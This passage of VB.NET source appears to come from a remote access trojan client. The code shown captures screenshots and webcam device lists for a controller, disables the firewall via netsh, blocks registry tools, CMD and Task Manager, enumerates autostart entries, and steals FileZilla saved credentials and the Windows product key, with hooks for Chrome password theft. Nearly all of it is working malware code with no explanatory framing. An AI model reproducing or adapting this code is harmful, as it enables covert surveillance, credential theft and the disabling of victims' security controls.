  1470.         StopStress = 141
  1471.         SendStatus = 142
  1472.         Screenshot = 194
  1473.     End Enum
  1474. #End Region
  1475.  
  1476. #Region "Window Handle"
  1477.     Dim allDev As FilterInfoCollection
  1478.     Private Declare Function capGetDriverDescriptionA Lib "avicap32.dll" (ByVal wDriver As Short, ByVal lpszName As String, ByVal cbName As Integer, ByVal lpszVer As String, ByVal cbVer As Integer) As Boolean
  1479.     Public Function LoadDeviceList() As String
  1480.         On Error Resume Next
  1481.         Dim ret As String = Nothing
  1482.         allDev = New FilterInfoCollection(FilterCategory.VideoInputDevice)
  1483.         For Each deviceInfo As FilterInfo In allDev
  1484.             ret += deviceInfo.Name & splitMark2
  1485.         Next
  1486.         Return ret
  1487.         'Dim strName As String = Space(100)
  1488.         'Dim strVer As String = Space(100)
  1489.         'Dim bReturn As Boolean
  1490.         'Dim ret As String = Nothing
  1491.         'Dim x As Integer = 0
  1492.         'Do
  1493.         '    bReturn = capGetDriverDescriptionA(x, strName, 100, strVer, 100)
  1494.         '    If bReturn Then ret += strName.Trim & splitMark2
  1495.         '    x += 1
  1496.         'Loop Until bReturn = False
  1497.         'Return ret
  1498.     End Function
  1499.     Const WM_ENDSESSION As Integer = &H16
  1500.     Const WM_QUERYENDSESSION As Integer = &H11
  1501.     Public Sub WndProc(ByRef m As Message)
  1502.         On Error Resume Next
  1503.         Select Case m.Msg
  1504.             Case WM_QUERYENDSESSION
  1505.                 End
  1506.             Case WM_ENDSESSION
  1507.                 End
  1508.         End Select
  1509.         WndProc(m)
  1510.     End Sub
  1511. #End Region
  1512.  
  1513. End Module
  1514.  
  1515. #End Region
  1516.  
  1517. #Region " Wrapper "
  1518. Public Class WindowWrapper
  1519.  
  1520.     Implements Windows.Forms.IWin32Window
  1521.     Public Sub New(ByVal handle As IntPtr)
  1522.         On Error Resume Next
  1523.         _hwnd = handle
  1524.     End Sub
  1525.     Public ReadOnly Property Handle() As IntPtr Implements System.Windows.Forms.IWin32Window.Handle
  1526.         Get
  1527.             Return _hwnd
  1528.         End Get
  1529.     End Property
  1530.     Private _hwnd As IntPtr
  1531.  
  1532. End Class
  1533. #End Region
  1534.  
  1535. #Region " Screenshot Manager "
  1536. Public Module ScreenShotManager
  1537.     Public Src As Screen = Screen.AllScreens(0)
  1538.     Public Sub SendScreen(ByVal Quality As Integer)
  1539.         On Error Resume Next
  1540.         Dim ScreenShot As Image = ImageManaging.ConvertToJpeg(TakeAPIscreenshot, Quality)
  1541.         Using ms As New MemoryStream()
  1542.             ScreenShot.Save(ms, System.Drawing.Imaging.ImageFormat.Jpeg)
  1543.             Dim imageBytes As Byte() = ms.ToArray()
  1544.             Send(Chr(194) & SplitMark1 & Convert.ToBase64String(imageBytes))
  1545.             ms.Close()
  1546.             ms.Dispose()
  1547.         End Using
  1548.     End Sub
  1549.     Public Function TakeAPIscreenshot() As Image
  1550.         Try
  1551.             Dim hSDC, hMDC As Integer
  1552.             Dim hBMP, hBMPOld As Integer
  1553.             Dim r As Integer
  1554.             hSDC = CreateDC("DISPLAY", "", "", "")
  1555.             hMDC = CreateCompatibleDC(hSDC)
  1556.             FW = GetDeviceCaps(hSDC, 8)
  1557.             FH = GetDeviceCaps(hSDC, 10)
  1558.             hBMP = CreateCompatibleBitmap(hSDC, FW, FH)
  1559.             hBMPOld = SelectObject(hMDC, hBMP)
  1560.             Dim bounds As Rectangle
  1561.             bounds = Src.Bounds
  1562.             r = BitBlt(hMDC, 0, 0, bounds.Width, bounds.Height, hSDC, bounds.X, bounds.Y, 13369376)
  1563.             hBMP = SelectObject(hMDC, hBMPOld)
  1564.             r = DeleteDC(hSDC)
  1565.             r = DeleteDC(hMDC)
  1566.             TakeAPIscreenshot = Image.FromHbitmap(New IntPtr(hBMP))
  1567.             DeleteObject(hBMP)
  1568.         Catch ex As Exception
  1569.             Return Nothing
  1570.         End Try
  1571.     End Function
  1572. End Module
  1573. #End Region
  1574.  
  1575. #Region " Motion Detection "
  1576. Public Class MotionDetection
  1577.     Public lastBitmap As Bitmap
  1578.     Public decodeBitmap As Bitmap
  1579.     Public bitmapWidth As Integer
  1580.     Public bitmapHeight As Integer
  1581.     Public Sub New()
  1582.     End Sub
  1583.     Public Sub Encode(bmp As Bitmap, outStream As Stream, quality As Integer)
  1584.         On Error Resume Next
  1585.         If lastBitmap Is Nothing Then
  1586.             lastBitmap = bmp
  1587.             bitmapWidth = bmp.Width
  1588.             bitmapHeight = bmp.Height
  1589.             outStream.Write(BitConverter.GetBytes(bitmapWidth), 0, 4)
  1590.             outStream.Write(BitConverter.GetBytes(bitmapHeight), 0, 4)
  1591.             Dim bitmapData As Byte() = ConvertToJpeg(bmp, quality)
  1592.             outStream.Write(BitConverter.GetBytes(bitmapData.Length), 0, 4)
  1593.             outStream.Write(bitmapData, 0, bitmapData.Length)
  1594.             Return
  1595.         End If
  1596.         Dim bmpData As BitmapData = bmp.LockBits(New Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat)
  1597.         Dim lastBmpData As BitmapData = lastBitmap.LockBits(New Rectangle(0, 0, lastBitmap.Width, lastBitmap.Height), ImageLockMode.ReadWrite, bmp.PixelFormat)
  1598.         Dim Stride As Integer = Math.Abs(bmpData.Stride)
  1599.         Dim PixelSize As Integer = Stride / bmp.Width
  1600.         Dim RectHeightChanges As New List(Of Rectangle)()
  1601.         For i As Integer = 0 To bmp.Height - 1
  1602.             Dim Offset As Integer = i * Stride
  1603.             Dim src As New IntPtr(bmpData.Scan0.ToInt32() + Offset)
  1604.             Dim dest As New IntPtr(lastBmpData.Scan0.ToInt32() + Offset)
  1605.             If memcmp(src, dest, Stride) <> 0 Then
  1606.                 If RectHeightChanges.Count > 0 Then
  1607.                     Dim rect As Rectangle = RectHeightChanges(RectHeightChanges.Count - 1)
  1608.                     If rect.Y + rect.Height = i Then
  1609.                         RectHeightChanges(RectHeightChanges.Count - 1) = New Rectangle(0, rect.Y, bmp.Width, rect.Height + 1)
  1610.                     Else
  1611.                         RectHeightChanges.Add(New Rectangle(0, i, bmp.Width, 1))
  1612.                     End If
  1613.                 Else
  1614.                     RectHeightChanges.Add(New Rectangle(0, i, bmp.Width, 1))
  1615.                 End If
  1616.             End If
  1617.         Next
  1618.         Dim LastChanges As New List(Of Rectangle)()
  1619.         For Each rect As Rectangle In RectHeightChanges
  1620.             For x As Integer = 0 To rect.Width - 1 Step 50
  1621.                 Dim width As Integer
  1622.                 Dim height As Integer
  1623.                 If x + 50 > rect.Width Then
  1624.                     width = rect.Width - x
  1625.                 Else
  1626.                     width = 50
  1627.                 End If
  1628.                 If rect.Y + rect.Height >= bmp.Height Then
  1629.                     height = bmp.Height - rect.Height
  1630.                 Else
  1631.                     height = rect.Height
  1632.                 End If
  1633.                 For y As Integer = rect.Y To (rect.Y + rect.Height) - 1
  1634.                     Dim Offset As Integer = (y * Stride) + (x * PixelSize)
  1635.                     Dim src As New IntPtr(bmpData.Scan0.ToInt32() + Offset)
  1636.                     Dim dest As New IntPtr(lastBmpData.Scan0.ToInt32() + Offset)
  1637.                     If memcmp(src, dest, width * PixelSize) <> 0 Then
  1638.                         LastChanges.Add(New Rectangle(x, rect.Y, width, rect.Height))
  1639.                         Exit For
  1640.                     End If
  1641.                 Next
  1642.             Next
  1643.         Next
  1644.         bmp.UnlockBits(bmpData)
  1645.         lastBitmap.UnlockBits(lastBmpData)
  1646.         For Each rect As Rectangle In LastChanges
  1647.             outStream.Write(BitConverter.GetBytes(rect.X), 0, 4)
  1648.             outStream.Write(BitConverter.GetBytes(rect.Y), 0, 4)
  1649.             bmpData = bmp.LockBits(New Rectangle(rect.X, rect.Y, rect.Width, rect.Height), ImageLockMode.[ReadOnly], bmp.PixelFormat)
  1650.             Using newBitmap As New Bitmap(rect.Width, rect.Height, bmpData.Stride, bmp.PixelFormat, bmpData.Scan0)
  1651.                 Dim data As Byte() = ConvertToJpeg(newBitmap, quality)
  1652.                 outStream.Write(BitConverter.GetBytes(data.Length), 0, 4)
  1653.                 outStream.Write(data, 0, data.Length)
  1654.             End Using
  1655.             bmp.UnlockBits(bmpData)
  1656.         Next
  1657.         lastBitmap.Dispose()
  1658.         lastBitmap = bmp
  1659.     End Sub
  1660.  
  1661.     Private Function ConvertToJpeg(img As Bitmap, q As Integer) As Byte()
  1662.         On Error Resume Next
  1663.         Const ParamAmount As Integer = 1
  1664.         Dim qualityParam As New EncoderParameter(Imaging.Encoder.Quality, q)
  1665.         Dim jpegCodec As ImageCodecInfo = GetEncoderInfo("image/jpeg")
  1666.         Dim encoderParams As New EncoderParameters(ParamAmount)
  1667.         encoderParams.Param(0) = qualityParam
  1668.         Dim ms As New MemoryStream()
  1669.         img.Save(ms, jpegCodec, encoderParams)
  1670.         Return ms.GetBuffer()
  1671.     End Function
  1672.     Private Function GetEncoderInfo(mimeType As String) As ImageCodecInfo
  1673.         On Error Resume Next
  1674.         Dim codecs As ImageCodecInfo() = ImageCodecInfo.GetImageEncoders()
  1675.         For i As Integer = 0 To codecs.Length - 1
  1676.             If (codecs(i).MimeType = mimeType) Then
  1677.                 Return codecs(i)
  1678.             End If
  1679.         Next
  1680.         Return Nothing
  1681.     End Function
  1682. End Class
  1683. #End Region
  1684.  
  1685. #Region " DisableFunctions "
  1686. Public Class DisableFunctions
  1687.     Public Shared Sub DisableFirewall(ByVal Status As Boolean)
  1688.         On Error Resume Next
  1689.         If Status = True Then
  1690.             Dim P As Process = New Process
  1691.             Const STR As String = "netsh.exe"
  1692.             P.StartInfo.Arguments = ("firewall set opmode disable")
  1693.             P.StartInfo.FileName = STR
  1694.             P.StartInfo.UseShellExecute = False
  1695.             P.StartInfo.RedirectStandardOutput = True
  1696.             P.StartInfo.CreateNoWindow = True
  1697.             P.Start()
  1698.             P.WaitForExit()
  1699.         Else
  1700.             Dim P As Process = New Process
  1701.             Dim str As String = "netsh.exe"
  1702.             P.StartInfo.Arguments = ("firewall set opmode enable")
  1703.             P.StartInfo.FileName = str
  1704.             P.StartInfo.UseShellExecute = False
  1705.             P.StartInfo.RedirectStandardOutput = True
  1706.             P.StartInfo.CreateNoWindow = True
  1707.             P.Start()
  1708.             P.WaitForExit()
  1709.         End If
  1710.     End Sub
  1711.     Public Shared Sub DisableRegistry(ByVal Status As Boolean)
  1712.         On Error Resume Next
  1713.         If Status = True Then
  1714.             My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "1", Microsoft.Win32.RegistryValueKind.DWord)
  1715.         Else
  1716.             My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableRegistryTools", "0", Microsoft.Win32.RegistryValueKind.DWord)
  1717.         End If
  1718.     End Sub
  1719.     Public Shared Sub DisableTaskManager(ByVal Status As Object)
  1720.  
  1721.         While Status
  1722.             If Status = True Then
  1723.                 Try
  1724.                     For Each tP As Process In Process.GetProcessesByName("taskmgr")
  1725.                         tP.Kill()
  1726.                     Next
  1727.                 Catch ex As Exception
  1728.                 End Try
  1729.                 Dim p As New ProcessStartInfo()
  1730.                 p.FileName = "taskmgr.exe"
  1731.                 p.WindowStyle = ProcessWindowStyle.Hidden
  1732.                 p.CreateNoWindow = False
  1733.                 Process.Start(p)
  1734.                 Process.GetProcessesByName("taskmgr")(0).WaitForExit()
  1735.                 Thread.Sleep(1000)
  1736.             End If
  1737.             If Status = False Then
  1738.             End If
  1739.         End While
  1740.     End Sub
  1741.     Public Shared Sub DisableCMD(ByVal Status As Boolean)
  1742.         On Error Resume Next
  1743.         If Status = True Then
  1744.             My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System", "DisableCMD", "1", Microsoft.Win32.RegistryValueKind.DWord)
  1745.         Else
  1746.             My.Computer.Registry.SetValue("HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System", "DisableCMD", "0", Microsoft.Win32.RegistryValueKind.DWord)
  1747.         End If
  1748.     End Sub
  1749.     Public Shared Sub DisableHiddenFiles(ByVal Status As Boolean)
  1750.         On Error Resume Next
  1751.         If Status = True Then
  1752.             Const regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
  1753.             My.Computer.Registry.SetValue(regloc, "Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
  1754.         Else
  1755.             Const regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced"
  1756.             My.Computer.Registry.SetValue(regloc, "Hidden", "1", Microsoft.Win32.RegistryValueKind.DWord)
  1757.         End If
  1758.     End Sub
  1759. End Class
  1760. #End Region
  1761.  
  1762. #Region " QuickStartups "
  1763. Public Class QuickStartups
  1764.     Public Const Split1 As String = Chr(1)
  1765.     Public Const Split2 As String = Chr(2)
  1766.     Public Const FolderId As String = Chr(14)
  1767.     Public Const RegKeyId As String = Chr(15)
  1768.     Public Const QuickStartups As String = Chr(112)
  1769.     Dim Dr As String = Environment.GetEnvironmentVariable("SystemDrive")
  1770.     Dim Sr As String = Environment.GetEnvironmentVariable("SystemRoot")
  1771.  
  1772.     Public Sub SendQuickStartups(ByVal IncludeIcon As Integer)
  1773.         On Error Resume Next
  1774.         Dim StringsToSend As String = Nothing
  1775.         If IncludeIcon = 2 Then
  1776.  
  1777.             StringsToSend &= ReturnHKCUStrs("Software\Microsoft\Windows\CurrentVersion\Run", True)
  1778.             StringsToSend &= ReturnHKLMStrs("Software\Microsoft\Windows\CurrentVersion\Run", True)
  1779.             StringsToSend &= ReturnHKCUStrs("Software\Microsoft\Windows\CurrentVersion\RunOnce", True)
  1780.             StringsToSend &= ReturnHKLMStrs("Software\Microsoft\Windows\CurrentVersion\RunOnce", True)
  1781.             'StringsToSend &= ReturnHKLMServices("System\CurrentControlSet\Services", True)
  1782.             'StringsToSend &= ReturnHKLMStrs("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", True)
  1783.             StringsToSend &= ReturnDirStrs(Environment.GetFolderPath(Environment.SpecialFolder.Startup), True)
  1784.             StringsToSend &= ReturnDirStrs(Environment.GetEnvironmentVariable("SystemDrive") & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup", True)
  1785.  
  1786.         Else
  1787.             StringsToSend &= ReturnHKCUStrs("Software\Microsoft\Windows\CurrentVersion\Run", False)
  1788.             StringsToSend &= ReturnHKLMStrs("Software\Microsoft\Windows\CurrentVersion\Run", False)
  1789.             StringsToSend &= ReturnHKCUStrs("Software\Microsoft\Windows\CurrentVersion\RunOnce", False)
  1790.             StringsToSend &= ReturnHKLMStrs("Software\Microsoft\Windows\CurrentVersion\RunOnce", False)
  1791.             'StringsToSend &= ReturnHKLMServices("System\CurrentControlSet\Services", False)
  1792.             'StringsToSend &= ReturnHKLMStrs("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run", False)
  1793.             StringsToSend &= ReturnDirStrs(Environment.GetFolderPath(Environment.SpecialFolder.Startup), False)
  1794.             StringsToSend &= ReturnDirStrs(Environment.GetEnvironmentVariable("SystemDrive") & "\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup", False)
  1795.         End If
  1796.         Send(QuickStartups & StringsToSend)
  1797.     End Sub
  1798.  
  1799.     Public Function ReturnHKLMServices(ByVal key As String, ByVal ExtrIc As Boolean) As String
  1800.         On Error Resume Next
  1801.         Dim StringsToRet As String = Nothing
  1802.         For Each S1 In My.Computer.Registry.LocalMachine.OpenSubKey(key, False).GetSubKeyNames
  1803.  
  1804.             Dim EntryName As String = ""
  1805.             Dim Location As String = ""
  1806.  
  1807.             Dim vals() As String = My.Computer.Registry.LocalMachine.OpenSubKey(key & "\" & S1, False).GetValueNames
  1808.             For Each v As String In vals
  1809.                 If v = "ImagePath" Then
  1810.                     EntryName = S1
  1811.                     Location = My.Computer.Registry.LocalMachine.OpenSubKey(key & "\" & S1, False).GetValue("ImagePath")
  1812.                     If Not Location.Contains(".exe") Then GoTo nextOne
  1813.                     If Location.Contains("SystemRoot") Then
  1814.                         Location = Location.Replace("SystemRoot", Sr)
  1815.                     End If
  1816.                     If Location.Contains("%SystemRoot%") Then
  1817.                         Location = Location.Replace("%SystemRoot%", Sr)
  1818.                     End If
  1819.                     If Not Location.Contains(Dr) Then
  1820.                         Location = Dr & "\" & Location
  1821.                     End If
  1822.                 End If
  1823.             Next
  1824.  
  1825.             If EntryName = "" Or Location = "" Then GoTo nextOne
  1826.             If Location.Contains(Chr(34)) Then
  1827.                 Location = Location.Split(Chr(34))(1)
  1828.             End If
  1829.             If Location.Contains(" -") Then
  1830.                 Location = Split(Location, " -")(0)
  1831.             End If
  1832.             If Location.Contains(" /") Then
  1833.                 Location = Split(Location, " /")(0)
  1834.             End If
  1835.  
  1836.             If ExtrIc Then
  1837.                 StringsToRet &= RegKeyId & Split1 & "HKEY_LOCAL_MACHINE\" & key & Split1 & EntryName & Split1 & Location & Split1 & ImageToBase64(ExtractIcon(Location)) & Split2
  1838.             Else
  1839.                 StringsToRet &= RegKeyId & Split1 & "HKEY_LOCAL_MACHINE\" & key & Split1 & EntryName & Split1 & Location & Split1 & Split2
  1840.             End If
  1841. nextOne:
  1842.         Next
  1843.         Return StringsToRet
  1844.     End Function
  1845.  
  1846.     Public Function ReturnHKCUStrs(ByVal key As String, ByVal ExtrIc As Boolean) As String
  1847.         On Error Resume Next
  1848.         Dim StringsToRet As String = Nothing
  1849.         For Each R1 In My.Computer.Registry.CurrentUser.OpenSubKey(key, False).GetValueNames
  1850.             Dim rVal As String = My.Computer.Registry.CurrentUser.OpenSubKey(key, False).GetValue(R1)
  1851.  
  1852.             If rVal.Contains(Chr(34)) Then
  1853.                 rVal = rVal.Split(Chr(34))(1)
  1854.             End If
  1855.             If rVal.Contains(" -") Then
  1856.                 rVal = Split(rVal, " -")(0)
  1857.             End If
  1858.             If rVal.Contains(" /") Then
  1859.                 rVal = Split(rVal, " /")(0)
  1860.             End If
  1861.  
  1862.             If ExtrIc Then
  1863.                 StringsToRet &= RegKeyId & Split1 & "HKEY_CURRENT_USER\" & key & Split1 & R1 & Split1 & rVal & Split1 & ImageToBase64(ExtractIcon(rVal)) & Split2
  1864.             Else
  1865.                 StringsToRet &= RegKeyId & Split1 & "HKEY_CURRENT_USER\" & key & Split1 & R1 & Split1 & rVal & Split1 & Split2
  1866.             End If
  1867.  
  1868.         Next
  1869.         Return StringsToRet
  1870.     End Function
  1871.  
  1872.     Public Function ReturnHKLMStrs(ByVal key As String, ByVal ExtrIc As Boolean) As String
  1873.         On Error Resume Next
  1874.         Dim StringsToRet As String = Nothing
  1875.         For Each R1 In My.Computer.Registry.LocalMachine.OpenSubKey(key, False).GetValueNames
  1876.             Dim rVal As String = My.Computer.Registry.LocalMachine.OpenSubKey(key, False).GetValue(R1)
  1877.  
  1878.             If rVal.Contains(Chr(34)) Then
  1879.                 rVal = rVal.Split(Chr(34))(1)
  1880.             End If
  1881.             If rVal.Contains(" -") Then
  1882.                 rVal = Split(rVal, " -")(0)
  1883.             End If
  1884.             If rVal.Contains(" /") Then
  1885.                 rVal = Split(rVal, " /")(0)
  1886.             End If
  1887.  
  1888.             If ExtrIc Then
  1889.                 StringsToRet &= RegKeyId & Split1 & "HKEY_LOCAL_MACHINE\" & key & Split1 & R1 & Split1 & rVal & Split1 & ImageToBase64(ExtractIcon(rVal)) & Split2
  1890.             Else
  1891.                 StringsToRet &= RegKeyId & Split1 & "HKEY_LOCAL_MACHINE\" & key & Split1 & R1 & Split1 & rVal & Split1 & Split2
  1892.             End If
  1893.         Next
  1894.         Return StringsToRet
  1895.     End Function
  1896.     Public Function ReturnDirStrs(ByVal path As String, ByVal ExtrIc As Boolean) As String
  1897.         On Error Resume Next
  1898.         Dim StringsToRet As String = Nothing
  1899.         For Each f As IO.FileInfo In New IO.DirectoryInfo(path).GetFiles
  1900.             If ExtrIc Then
  1901.                 StringsToRet &= FolderId & Split1 & path & Split1 & f.Name & Split1 & f.FullName & Split1 & ImageToBase64(ExtractIcon(f.FullName)) & Split2
  1902.             Else
  1903.                 StringsToRet &= FolderId & Split1 & path & Split1 & f.Name & Split1 & f.FullName & Split1 & Split2
  1904.             End If
  1905.  
  1906.         Next
  1907.         Return StringsToRet
  1908.     End Function
  1909.     Public Function ExtractIcon(ByVal file As String) As Image
  1910.  
  1911.         Try
  1912.  
  1913.             Return Icon.ExtractAssociatedIcon(file).ToBitmap
  1914.         Catch
  1915.             Return Nothing
  1916.         End Try
  1917.     End Function
  1918.  
  1919.     Public Function ImageToBase64(ByVal Img As Image) As String
  1920.  
  1921.         Try
  1922.             If Not Img Is Nothing Then
  1923.                 Using M As New IO.MemoryStream
  1924.                     Img.Save(M, Imaging.ImageFormat.Png)
  1925.                     ImageToBase64 = Convert.ToBase64String(M.GetBuffer)
  1926.                     M.Close()
  1927.                     M.Dispose()
  1928.                 End Using
  1929.             Else
  1930.                 ImageToBase64 = Nothing
  1931.             End If
  1932.         Catch
  1933.             Return Nothing
  1934.         End Try
  1935.     End Function
  1936. End Class
  1937. #End Region
  1938.  
  1939. #Region " Recovery "
  1940.  
  1941. Class Recovery
  1942.     Public Function getPasswords() As String
  1943.         Try
  1944.             Dim passwordList As String = WinKey & ReadFileZilla() & GetChromePasswords()
  1945.             Return passwordList
  1946.         Catch ex As Exception
  1947.             Return Chr(4) & SplitMark1 & "Error: " & ex.ToString & SplitMark1 & "Null" & SplitMark1 & "Null" & SplitMark1 & "Null" & splitMark2
  1948.         End Try
  1949.     End Function
  1950.  
  1951. #Region "Filezilla"
  1952.  
  1953.     Public Function ReadFileZilla() As String
  1954.         On Error Resume Next
  1955.         Dim XMLDOC As New Xml.XmlDocument
  1956.         XMLDOC.Load(Environ("AppData") & "\FileZilla\recentservers.xml")
  1957.         Dim XMLPath As Xml.XmlElement
  1958.         XMLPath = XMLDOC.SelectSingleNode("//Server")
  1959.         Dim Servers As Integer
  1960.         Servers = XMLDOC.GetElementsByTagName("Server").Count
  1961.         Dim i As Integer = 0
  1962.         Dim Output As String = ""
  1963.         Do Until i = Servers
  1964.             i += 1
  1965.             Output += Chr(2) & SplitMark1 & XMLPath.Item("Host").InnerText & SplitMark1 & XMLPath.Item("User").InnerText & SplitMark1 & XMLPath.Item("Pass").InnerText & splitMark2
  1966.             If i < Servers Then
  1967.                 XMLPath = XMLDOC.SelectSingleNode("//Server").NextSibling
  1968.             End If
  1969.         Loop
  1970.         Return Output
  1971.     End Function
  1972.  
  1973. #End Region
  1974.  
  1975. #Region "Windows key"
  1976.     Public ReadOnly Property WinKey() As String
  1977.         Get
  1978.             Try
  1979.                 Dim rKey As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion")
  1980.                 Dim rpk As Byte() = rKey.GetValue("DigitalProductId", 0)
  1981.                 Dim strKey As String = ""
  1982.                 Const iRPKOffset As Integer = 52
  1983.                 Const strPossibleChars As String = "BCDFGHJKMPQRTVWXY2346789"
  1984.                 Dim i As Integer = 28
  1985.                 Do
  1986.                     Dim lAccu As Long = 0
  1987.                     Dim j As Integer = 14
  1988.                     Do
  1989.                         lAccu *= 256
  1990.                         lAccu += Convert.ToInt64(rpk(iRPKOffset + j))
  1991.                         rpk(iRPKOffset + j) = Convert.ToByte(Convert.ToInt64(Math.Floor(CSng(lAccu) / 24.0F)) And Convert.ToInt64(255))
  1992.                         lAccu = lAccu Mod 24
  1993.                         j -= 1
  1994.                     Loop While j >= 0
  1995.                     i -= 1
  1996.                     strKey = strPossibleChars(CInt(lAccu)).ToString() + strKey
  1997.                     If (0 = ((29 - i) Mod 6)) AndAlso (-1 <> i) Then
  1998.                         i -= 1
  1999.                         strKey = "-" + strKey
  2000.                     End If
  2001.                 Loop While i >= 0
  2002.                 '    "Google ChromeMainModule.SplitMark1" & host & MainModule.SplitMark1 & user & MainModule.SplitMark1 & pass & "%"
  2003.                 Return Chr(3) & MainModule.SplitMark1 & strKey & MainModule.SplitMark1 & "Null" & MainModule.SplitMark1 & "Null" & MainModule.splitMark2
  2004.             Catch ex As Exception
  2005.                 Return Nothing
  2006.             End Try
  2007.         End Get
  2008.     End Property
  2009. #End Region
  2010.  
  2011. End Class
  2012.  
  2013. #Region "Sbase"
  2014. Public Class SBase
  2015.     <DllImport("kernel32")> Private Shared Function HeapAlloc(ByVal heap As IntPtr, ByVal flags As UInt32, ByVal bytes As UInt32) As IntPtr
  2016.     End Function
  2017.  
  2018.     <DllImport("kernel32")> Private Shared Function GetProcessHeap() As IntPtr
  2019.     End Function
  2020.  
  2021.     <DllImport("kernel32")> Private Shared Function lstrlen(ByVal str As IntPtr) As Integer
  2022.     End Function
  2023.  
  2024.     <DllImport("sqlite3")> Private Shared Function sqlite3_open(ByVal fileName As IntPtr, ByRef database As IntPtr) As Integer
  2025.     End Function
  2026.  
  2027.     <DllImport("sqlite3")> Private Shared Function sqlite3_close(ByVal database As IntPtr) As Integer
  2028.     End Function
  2029.  
  2030.     <DllImport("sqlite3")> Private Shared Function sqlite3_exec(ByVal database As IntPtr, ByVal query As IntPtr, ByVal callback As IntPtr, ByVal arguments As IntPtr, ByRef [error] As IntPtr) As Integer
  2031.     End Function
  2032.  
  2033.     <DllImport("sqlite3")> Private Shared Function sqlite3_prepare_v2(ByVal database As IntPtr, ByVal query As IntPtr, ByVal length As Integer, ByRef statement As IntPtr, ByRef tail As IntPtr) As Integer
  2034.     End Function
  2035.  
  2036.     <DllImport("sqlite3")> Private Shared Function sqlite3_step(ByVal statement As IntPtr) As Integer
  2037.     End Function
  2038.  
  2039.     <DllImport("sqlite3")> Private Shared Function sqlite3_column_count(ByVal statement As IntPtr) As Integer
  2040.     End Function
  2041.  
  2042.     <DllImport("sqlite3")> Private Shared Function sqlite3_column_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  2043.     End Function
  2044.  
  2045.     <DllImport("sqlite3")> Private Shared Function sqlite3_column_type(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
  2046.     End Function
  2047.  
  2048.     <DllImport("sqlite3")> Private Shared Function sqlite3_column_int(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Integer
  2049.     End Function
  2050.  
  2051.     <DllImport("sqlite3")> Private Shared Function sqlite3_column_double(ByVal statement As IntPtr, ByVal columnNumber As Integer) As Double
  2052.     End Function
  2053.  
  2054.     <DllImport("sqlite3")> Private Shared Function sqlite3_column_text(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  2055.     End Function
  2056.  
  2057.     <DllImport("sqlite3")> Private Shared Function sqlite3_column_blob(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  2058.     End Function
  2059.  
  2060.     <DllImport("sqlite3")> Private Shared Function sqlite3_column_table_name(ByVal statement As IntPtr, ByVal columnNumber As Integer) As IntPtr
  2061.     End Function
  2062.  
  2063.     <DllImport("sqlite3")> Private Shared Function sqlite3_finalize(ByVal handle As IntPtr) As Integer
  2064.     End Function
  2065.  
  2066.     Private Const SQL_OK As Integer = 0
  2067.     Private Const SQL_ROW As Integer = 100
  2068.     Private Const SQL_DONE As Integer = 101
  2069.     Public Enum SQLiteDataTypes
  2070.         INT = 1
  2071.         FLOAT
  2072.         TEXT
  2073.         BLOB
  2074.         NULL
  2075.     End Enum
  2076.     Private database As IntPtr
  2077.     Public Sub New()
  2078.         On Error Resume Next
  2079.         database = IntPtr.Zero
  2080.     End Sub
  2081.     Public Sub New(ByVal baseName As [String])
  2082.         On Error Resume Next
  2083.         OpenDatabase(baseName)
  2084.     End Sub
  2085.     Public Sub OpenDatabase(ByVal baseName As [String])
  2086.         On Error Resume Next
  2087.         If sqlite3_open(StringToPointer(baseName), database) <> SQL_OK Then
  2088.             database = IntPtr.Zero
  2089.         End If
  2090.     End Sub
  2091.     Public Sub CloseDatabase()
  2092.         On Error Resume Next
  2093.         If database <> IntPtr.Zero Then
  2094.             sqlite3_close(database)
  2095.         End If
  2096.     End Sub
  2097.     Public Function GetTables() As ArrayList
  2098.         On Error Resume Next
  2099.         Const query As String = "SELECT name FROM sqlite_master " & "WHERE type IN ('table','view') AND name NOT LIKE 'sqlite_%'" & "UNION ALL " & "SELECT name FROM sqlite_temp_master " & "WHERE type IN ('table','view') " & "ORDER BY 1"
  2100.         Dim table As DataTable = ExecuteQuery(query)
  2101.         Dim list As New ArrayList()
  2102.         For Each row As DataRow In table.Rows
  2103.             list.Add(row.ItemArray(0).ToString())
  2104.         Next
  2105.         Return list
  2106.     End Function
  2107.     Public Sub ExecuteNonQuery(ByVal query As [String])
  2108.         On Error Resume Next
  2109.         Dim [error] As IntPtr
  2110.         sqlite3_exec(database, StringToPointer(query), IntPtr.Zero, IntPtr.Zero, [error])
  2111.         If [error] <> IntPtr.Zero Then
  2112.         End If
  2113.     End Sub
  2114.     Public Function ExecuteQuery(ByVal query As [String]) As DataTable
  2115.         On Error Resume Next
  2116.         Dim statement As IntPtr
  2117.         Dim excessData As IntPtr
  2118.         sqlite3_prepare_v2(database, StringToPointer(query), GetPointerLenght(StringToPointer(query)), statement, excessData)
  2119.         Dim table As New DataTable()
  2120.         Dim result As Integer = ReadFirstRow(statement, table)
  2121.         While result = SQL_ROW
  2122.             result = ReadNextRow(statement, table)
  2123.         End While
  2124.         sqlite3_finalize(statement)
  2125.         Return table
  2126.     End Function
  2127.     Private Function ReadFirstRow(ByVal statement As IntPtr, ByRef table As DataTable) As Integer
  2128.         On Error Resume Next
  2129.         table = New DataTable("resultTable")
  2130.         Dim resultType As Integer = sqlite3_step(statement)
  2131.         If resultType = SQL_ROW Then
